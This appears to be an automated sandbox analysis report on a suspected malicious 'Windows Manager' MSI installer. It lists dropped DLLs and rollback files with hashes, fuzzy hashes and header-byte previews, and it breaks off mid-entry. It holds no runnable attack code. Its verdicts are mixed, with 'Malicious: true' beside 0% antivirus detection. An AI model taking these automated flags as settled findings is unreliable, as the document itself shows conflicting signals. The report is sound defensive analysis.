SHA1:	7F8E165BEC203BACC0D8139606B4EAF2EFBCA65A
SHA-256:	05D54463FEA5FCDE9F8E8B98958F3B1D4989E7C7B4933826D13542367C589BED
SHA-512:	5ABE94C8A175B52B6F3309CD26A3CF61A530EFDCDFF1C2950F55671EA5F1776B7482C6F5EDC2C577ACC8AE3C9EBF6F6D055E1CEC5DA424B522507662944DEED7
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@.v.W.@.....@.....@.....@.....@.....@......&.{C845414C-903C-4218-9DE7-132AB97FDF62}..Windows Manager$.Windows Manager - Postback Johan.msi.@.....@.....@.....@......logo.exe..&.{C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Manager......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{28FDA578-EFA5-4A4F-A558-E4219B09577D}2.C:\Program Files (x86)\AW Manager\Windows Manager\.@.......@.....@.....@......&.{D30ED18A-DEA4-45D6-8A1F-1643C3CC79C1}/.02:\Software\AW Manager\Windows Manager\Version.@.......@.....@.....@......&.{C48C1022-6EC4-4C0F-BB98-0EA64D330920}E.C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe.@.......@.....@.....@......&.{FD7030D8-9E76-4445-B52A-726084B486D7}/.02:\Software\AW Manager\Windows Manager\Success.@.......@.....@.....@......&.{BDF67205-71EF-48E8-B3

C:\Windows\Installer\MSI55E1.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	194064
Entropy (8bit):	6.416801574526807
Encrypted:	false
SSDEEP:	3072:pj+sQSJ38YR4h04SZto/ycbzhfIZk7yukfxYJyAfqgT7Z14hZliQiPD4:J+FQ38t/SZfkVfISkC7R7Z1uri0
MD5:	B0DDA68E058A4CAA8B88AA2A47961D2A
SHA1:	76AF9DE0D7512B9581A787648C2F8997EC1347DD
SHA-256:	05640FEC802CC4F0F0865671473E54187CA3FC495B17D62E6D89B0019DDA9291
SHA-512:	DA9F0EE169DEB615B1B771963F4FE0039E20E45D45A8AE6FAEEF22C9B8E5833F8F1EB67A4D3C4B0DD7DBB134DA6230142ADA3579D81A4020D4E4FB05EE9A5731
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........z...)...)...),.(...),.(o..)..(.)..(.),.(.)..(..),.(...),.(.)...)...)..(.)..(...)..g)...)...)...)..(...)Rich...)........PE..L...].gb.........."!......................... ......................................i.....@.........................@..........x.......x............................y..p...................@z.......$..@............ ......L...@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc........... ..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI57A7.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	194064
Entropy (8bit):	6.416801574526807
Encrypted:	false
SSDEEP:	3072:pj+sQSJ38YR4h04SZto/ycbzhfIZk7yukfxYJyAfqgT7Z14hZliQiPD4:J+FQ38t/SZfkVfISkC7R7Z1uri0
MD5:	B0DDA68E058A4CAA8B88AA2A47961D2A
SHA1:	76AF9DE0D7512B9581A787648C2F8997EC1347DD
SHA-256:	05640FEC802CC4F0F0865671473E54187CA3FC495B17D62E6D89B0019DDA9291
SHA-512:	DA9F0EE169DEB615B1B771963F4FE0039E20E45D45A8AE6FAEEF22C9B8E5833F8F1EB67A4D3C4B0DD7DBB134DA6230142ADA3579D81A4020D4E4FB05EE9A5731
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........z...)...)...),.(...),.(o..)..(.)..(.),.(.)..(..),.(...),.(.)...)...)..(.)..(...)..g)...)...)...)..(...)Rich...)........PE..L...].gb.........."!......................... ......................................i.....@.........................@..........x.......x............................y..p...................@z.......$..@............ ......L...@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc........... ..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI5AE4.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	368656
Entropy (8bit):	6.527849690840632
Encrypted:	false
SSDEEP:	6144:VVV5O05nCzZ/ttMcvhselqDoNZaN8/71AOJls1RM4x:VVV5OyqZ1tMuocrbzQi4x
MD5:	C9116717F0148BC318B94B65B3F24F44
SHA1:	306475EF112A7F61133B3C7CD1FDAB9DB4246EF9
SHA-256:	5C47B2F70AFDAAB478A9DE7768E0D78C1AEC1838036E7130F4182A24BCA2DD2C
SHA-512:	C73DC6284E237784D5B9F89EFD242532B8B23A0CE412743BFA3D19473B4F985EF866D45B4F0743BDFD655708484F14D01FA2E6B0057745DF0D5AC13C960B86B3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........HK..&...&...&...%...&...#.l.&..."...&...%...&...#...&..."...&...'...&...'...&.B./...&.B.&...&.B.....&......&.B.$...&.Rich..&.........PE..L...}.gb.........."!...............................................................K.....@.........................p-..X....-.......`...........................3..(...p...........................h...@............................................text...x........................... ..`.rdata..&M.......N..................@..@.data........@.......$..............@....rsrc........`.......6..............@..@.reloc...3.......4...N..............@..B................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI5B05.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI92DE.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	783784
Entropy (8bit):	6.388227283064485
Encrypted:	false
SSDEEP:	12288:JB0aQYpzr8qjh/Kf+UA0i6mjqBUBavHqNajAJLVxAKNYFglvqrr3m/Xz/b/cEV:v0ax050IUBeqkeVJYFCqrLm/Xz/b/cEV
MD5:	07DF9CA625C2CB953B2A7F7F699CEE7C
SHA1:	3225E84B51BA76EB650231C94231B70B70B997C9
SHA-256:	265D462E9BD3FC4BDF925590A852707A52E0707407FDC4BA40A468542E8DBB77
SHA-512:	104A32900AC3F7A3815CE4670AA430677EB48BD3B8A5E17F0A05C333B8FAF776756408784C8191EA51FFD54AD52D7FCBF2611570A275EFDC6BF1B04B5706F9FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........p..[.y.[.y.[.y.Ozz.V.y.Oz\|...y.7e}.J.y.7ez.L.y.7e\|...y.Oz}.C.y.Oz..Z.y.Ozx.F.y.[.x.h.y.ep...y.ey.Z.y.e..Z.y.[...Y.y.e{.Z.y.Rich[.y.........................PE..L...].\`.........."!.........F............................................... ............@..........................M.......N....... .......................@..$...h5..p....................6.......5..@............................................text...h........................... ..`.rdata..............................@..@.data........`.......H..............@....rsrc........ ......................@..@.reloc..$....@......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI935C.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI9477.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI94A7.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI94C7.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI9758.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI9788.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	783784
Entropy (8bit):	6.388227283064485
Encrypted:	false
SSDEEP:	12288:JB0aQYpzr8qjh/Kf+UA0i6mjqBUBavHqNajAJLVxAKNYFglvqrr3m/Xz/b/cEV:v0ax050IUBeqkeVJYFCqrLm/Xz/b/cEV
MD5:	07DF9CA625C2CB953B2A7F7F699CEE7C
SHA1:	3225E84B51BA76EB650231C94231B70B70B997C9
SHA-256:	265D462E9BD3FC4BDF925590A852707A52E0707407FDC4BA40A468542E8DBB77
SHA-512:	104A32900AC3F7A3815CE4670AA430677EB48BD3B8A5E17F0A05C333B8FAF776756408784C8191EA51FFD54AD52D7FCBF2611570A275EFDC6BF1B04B5706F9FD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........p..[.y.[.y.[.y.Ozz.V.y.Oz\|...y.7e}.J.y.7ez.L.y.7e\|...y.Oz}.C.y.Oz..Z.y.Ozx.F.y.[.x.h.y.ep...y.ey.Z.y.e..Z.y.[...Y.y.e{.Z.y.Rich[.y.........................PE..L...].\`.........."!.........F............................................... ............@..........................M.......N....... .......................@..$...h5..p....................6.......5..@............................................text...h........................... ..`.rdata..............................@..@.data........`.......H..............@....rsrc........ ......................@..@.reloc..$....@......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI97B8.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	881064
Entropy (8bit):	6.445970518390351
Encrypted:	false
SSDEEP:	24576:p/NO9Ibn5dhulTll7VFv1/dSYKOC8fE/cod+I++qHfV5xJd9zlY:aKtulJl7VFv1lxKOC8fE/cod+j+qHfV8
MD5:	5A25FB13ED470B77EEFD2EB89CB62C47
SHA1:	3DBE567E3C8C8CD0F7E3C71A2536578EE11BF2A6
SHA-256:	0DCA4854897CA77080C57936AD5C7C6C5F5C656A5785C09C7D2C1D196E4F3336
SHA-512:	2EC64666AD42E955E91378AF855DA59D3BCFB4CC3574BF023DDA878C7D3E3DEC442625DE6E6B0434D1CAF86A525395B04038CF7FDC6C292405D9F19C6F4E9952
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j...............`......`.k........................`......`......`.....................................w............Rich....................PE..L.....\`.........."!................X.....................................................@.........................0...t............................X..............h...p..............................@............................................text...>........................... ..`.rdata..............................@..@.data...L...........................@....rsrc................f..............@..@.reloc...............l..............@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA2B5.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	783784
Entropy (8bit):	6.388227283064485
Encrypted:	false
SSDEEP:	12288:JB0aQYpzr8qjh/Kf+UA0i6mjqBUBavHqNajAJLVxAKNYFglvqrr3m/Xz/b/cEV:v0ax050IUBeqkeVJYFCqrLm/Xz/b/cEV
MD5:	07DF9CA625C2CB953B2A7F7F699CEE7C
SHA1:	3225E84B51BA76EB650231C94231B70B70B997C9
SHA-256:	265D462E9BD3FC4BDF925590A852707A52E0707407FDC4BA40A468542E8DBB77
SHA-512:	104A32900AC3F7A3815CE4670AA430677EB48BD3B8A5E17F0A05C333B8FAF776756408784C8191EA51FFD54AD52D7FCBF2611570A275EFDC6BF1B04B5706F9FD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........p..[.y.[.y.[.y.Ozz.V.y.Oz\|...y.7e}.J.y.7ez.L.y.7e\|...y.Oz}.C.y.Oz..Z.y.Ozx.F.y.[.x.h.y.ep...y.ey.Z.y.e..Z.y.[...Y.y.e{.Z.y.Rich[.y.........................PE..L...].\`.........."!.........F............................................... ............@..........................M.......N....... .......................@..$...h5..p....................6.......5..@............................................text...h........................... ..`.rdata..............................@..@.data........`.......H..............@....rsrc........ ......................@..@.reloc..$....@......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA362.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA3A2.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	549280
Entropy (8bit):	6.427674653470721
Encrypted:	false
SSDEEP:	12288:K/RT13b4ZhBQfjXqOsWSn6eT9tIeDL1/O3LXhG79VzzBtFeY:K/G2jaDWS6W9DzVzFtFeY
MD5:	8A9C0F9D818B0CF22B97045D78287E0E
SHA1:	EE5D606D27643799D52593A9AD762A7D701767A8
SHA-256:	960BBE57FD81273CD97C9AD5E67443EA13C7B93A252F43D81FD0D5D84B2864D1
SHA-512:	32B45008FEC09CB17AED1D7DA530FC7F89C8524676BB1AA6C3E5F6A7192B7F11240EB5B5B853A8201E06CDC35E47FB1D31D70BE80C6AD57B88062DCA2270E947
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`=G.$\).$\).$\).07.)\).07,..\).H(-.5\).H(.3\).H(,.k\).07-.<\).07..%\).07(.1\).$$..])..( .g$..().%\)..(.%\).$\..%\)..(+.%\).Rich$\).................PE..L...p.\`.........."!................................................................T.....@.......................................... ..h............H.......0...T..."..p...................."..........@...............h...<...@....................text...v........................... ..`.rdata..............................@..@.data...p...........................@....rsrc...h.... ......................@..@.reloc...T...0...V..................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA4AC.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	783784
Entropy (8bit):	6.388227283064485
Encrypted:	false
SSDEEP:	12288:JB0aQYpzr8qjh/Kf+UA0i6mjqBUBavHqNajAJLVxAKNYFglvqrr3m/Xz/b/cEV:v0ax050IUBeqkeVJYFCqrLm/Xz/b/cEV
MD5:	07DF9CA625C2CB953B2A7F7F699CEE7C
SHA1:	3225E84B51BA76EB650231C94231B70B70B997C9
SHA-256:	265D462E9BD3FC4BDF925590A852707A52E0707407FDC4BA40A468542E8DBB77
SHA-512:	104A32900AC3F7A3815CE4670AA430677EB48BD3B8A5E17F0A05C333B8FAF776756408784C8191EA51FFD54AD52D7FCBF2611570A275EFDC6BF1B04B5706F9FD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........p..[.y.[.y.[.y.Ozz.V.y.Oz\|...y.7e}.J.y.7ez.L.y.7e\|...y.Oz}.C.y.Oz..Z.y.Ozx.F.y.[.x.h.y.ep...y.ey.Z.y.e..Z.y.[...Y.y.e{.Z.y.Rich[.y.........................PE..L...].\`.........."!.........F............................................... ............@..........................M.......N....... .......................@..$...h5..p....................6.......5..@............................................text...h........................... ..`.rdata..............................@..@.data........`.......H..............@....rsrc........ ......................@..@.reloc..$....@......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA5D6.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	2872148
Entropy (8bit):	6.474768211359423
Encrypted:	false
SSDEEP:	49152:oREYgPREYgwREYg4REYgNREYgmREYgdREYghREYgmREYg/REYgQREYgWREYgvREK:oRkRHR5RgRXRuRQRrRqRhRrR+RkRiIA
MD5:	F6B86CB597D21AAC163D16B03777D17F
SHA1:	83531B1BABAEC2D2E66534CCA1710B6CC3488269
SHA-256:	4FF83D875DB782F27B255E306355830BB7FCCB637C355D80D09D7921479168C9
SHA-512:	A33C1BC1A2D23B95878620056A737B317514D7819B96B42D6363B4C8E120240037A3969F506E011E894BE94456C8D1A7DF94143D006F960CAD5719A39ED5517E
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@.v.W.@.....@.....@.....@.....@.....@......&.{13499434-9821-4E2D-B7DF-7C0867EB1504}..Windows Installer..System Updater.msi.@.....@.....@.....@......logo.exe..&.{F5D6D741-5AB0-4858-81E2-26A50610DFFA}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Installer......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{DECF3B3F-BFBA-4EB7-8878-E4C409356ABA}2.C:\Program Files (x86)\AW Manager\Windows Manager\.@.......@.....@.....@......&.{71730F5F-0233-4DB3-A1F2-B0AD0A1B831F}=.02:\Software\AdvancedWindowsManager\Windows Installer\Version.@.......@.....@.....@......&.{408CE191-A5E9-46B9-ADB0-4347C8FF9F0C}d.02:\Software\Caphyon\Advanced Installer\LZMA\{13499434-9821-4E2D-B7DF-7C0867EB1504}\5.0.3\AI_ExePath.@.......@.....@.....@......&.{58381363-55CC-4691-9CA4-9F7C23C7CB30}E.C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.ex

C:\Windows\Installer\MSIA5E7.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	143272
Entropy (8bit):	6.440876612680807
Encrypted:	false
SSDEEP:	3072:H58/uKIUAJJA/5M/imK+ikXI4SCedYKUbcChkjJMJeTY:ZUAwMqxKI4ezD2kE
MD5:	F09AEEB71101E834CB8227ED30B44C51
SHA1:	9D6AC4133148A65696993B0D84E18CEA990C740C
SHA-256:	E8BEFBC7D1594B993657C50444873EA974F0BB4F105AE45788D61D1620295FBE
SHA-512:	ED85F1213D6B6A68B037EC4B891305CD7D1F36E69C12D610823DDC33656F9D167FEA8CBABEA2CAE1D1D5B81320E432505A4DBC8780D816DD418A1BFFBD0403C5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........g...4...4...4...5...4...5,..4..5...4..5...4..5...4...5...4...5...4...5...4...4...4\|..5...4\|..5...4\|.D4...4..,4...4\|..5...4Rich...4........PE..L.....\`.........."!.....h...................................................`............@.................................H...P....0..x....................@..........p...................@.......H...@...................<...@....................text....f.......h.................. ..`.rdata..x............l..............@..@.data...............................@....rsrc...x....0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA607.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	180640
Entropy (8bit):	6.429027661829539
Encrypted:	false
SSDEEP:	3072:YZH1l2T9hr3rHIqtvIyipARFF2CXiaLSoksKaNv9AFs/P4P:c1ITfo4vyIEBaLg+AqHY
MD5:	FD8C6430420FBA8EE6FF671EC4CDCAE9
SHA1:	C762D4B2B4EFF9F5C2FC5B096F943A4299CBAE12
SHA-256:	806300BFFD0DF864F0EE180D64D2DB65AC2A86963E50CC5CEE3EAEBB6550B6BE
SHA-512:	92AE4374140C016B9CA2EEBA43D23B42D7323BABB2B255FC6CDC1BF5C9295EB13CC6027D8A2399FBF3A03C00CA081803336CEBAD8FA422087A5F8E31D00F5106
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........THA.5&..5&..5&..^%..5&..^#.#5&..^"..5&..A"..5&..A%..5&..A#..5&..^ ..5&..^'..5&..5'.f5&.uA/..5&.uA&..5&.uA...5&..5...5&.uA$..5&.Rich.5&.................PE..L.....\`.........."!................................................................-a....@..........................{......x\|..x.......x........................... I..p....................I..........@....................y..@....................text............................... ..`.rdata..............................@..@.data................z..............@....rsrc...x...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA7EC.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	275368
Entropy (8bit):	6.559005670836184
Encrypted:	false
SSDEEP:	6144:MoDf8/mvZAHaDGiGNzlNbW6xHFAO6C/e2KWnO:MoDfOHaDGdQz2KWnO
MD5:	44FB1983B8B32F8CD21731153054B6D8
SHA1:	81F16397E045B46285603BB08E94CBE74A52B26D
SHA-256:	2A5772576699D5AE40C55C9DEF0FCCD7FE66BEB3C2E28656D8B3D483A34A9A22
SHA-512:	39CD25C6C6F000E4E42E8FD170971D72CAE874C37889CB9D1341FD27B7AAE392CEB26FE58BC23FD0E50E601755C8C2D8DFDF7EC52FE37971030CCAB2329FCE1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................u.......u..0....j.......j.......j.......u.......u.......u..........E...Lj......Lj......Lj..............Lj......Rich....................PE..L.....\`.........."!.........\.......+.......................................`...........@.......................................... ..x....................0..X'..h...p..............................@............................................text..._........................... ..`.rdata..............................@..@.data...(...........................@....rsrc...x.... ......................@..@.reloc..X'...0...(..................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA81C.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	275368
Entropy (8bit):	6.559005670836184
Encrypted:	false
SSDEEP:	6144:MoDf8/mvZAHaDGiGNzlNbW6xHFAO6C/e2KWnO:MoDfOHaDGdQz2KWnO
MD5:	44FB1983B8B32F8CD21731153054B6D8
SHA1:	81F16397E045B46285603BB08E94CBE74A52B26D
